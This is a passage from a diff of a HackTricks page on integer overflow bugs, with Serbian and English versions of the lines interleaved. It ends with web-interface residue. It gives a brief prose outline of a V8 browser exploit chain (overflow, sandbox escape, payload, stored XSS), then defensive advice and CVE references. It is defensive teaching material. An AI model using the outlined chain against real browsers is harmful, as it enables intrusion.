1. **Integer overflow** in V8 gives arbitrary read/write.
|
||||
2. Escape the sandbox with a second bug or call native APIs to drop a payload.
|
||||
3. The payload then injects a malicious script into the origin context → stored XSS.
|
||||
|
||||
---
|
||||
|
||||
## 5. Odbrambene smernice
|
||||
|
||||
1. **Koristite široke tipove ili proverenu matematiku** – npr., size_t, Rust checked_add, Go math/bits.Add64.
|
||||
2. **Validirajte opsege rano**: odbacite svaku vrednost van poslovnog domena pre aritmetike.
|
||||
3. **Omogućite sanitizatore kompajlera**: -fsanitize=integer, UBSan, Go race detector.
|
||||
4. **Usvojite fuzzing u CI/CD** – kombinujte povratne informacije o pokrivenosti sa granicama korpusa.
|
||||
5. **Ostanite ažurirani** – greške prelivanja celog broja u pretraživaču često se koriste kao oružje u roku od nekoliko nedelja.
|
||||
1. **Use wide types or checked math** – e.g., size_t, Rust checked_add, Go math/bits.Add64.
|
||||
2. **Validate ranges early**: odbacite svaku vrednost van business domain pre aritmetike.
|
||||
3. **Enable compiler sanitizers**: -fsanitize=integer, UBSan, Go race detector.
|
||||
4. **Adopt fuzzing in CI/CD** – kombinuje coverage feedback sa boundary corpora.
|
||||
5. **Stay patched** – browser integer overflow bugs se često iskorišćavaju u roku od nekoliko nedelja.
|
||||
|
||||
---
|
||||
|
||||
## Reference
|
||||
|
||||
|
||||
## References
|
||||
|
||||
* [NVD CVE-2023-4863 – libwebp Heap Buffer Overflow](https://nvd.nist.gov/vuln/detail/CVE-2023-4863)
|
||||
* [Google Project Zero – "Razumevanje V8 CVE-2024-0519"](https://googleprojectzero.github.io/)
|
||||
* [Google Project Zero – "Understanding V8 CVE-2024-0519"](https://googleprojectzero.github.io/)
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user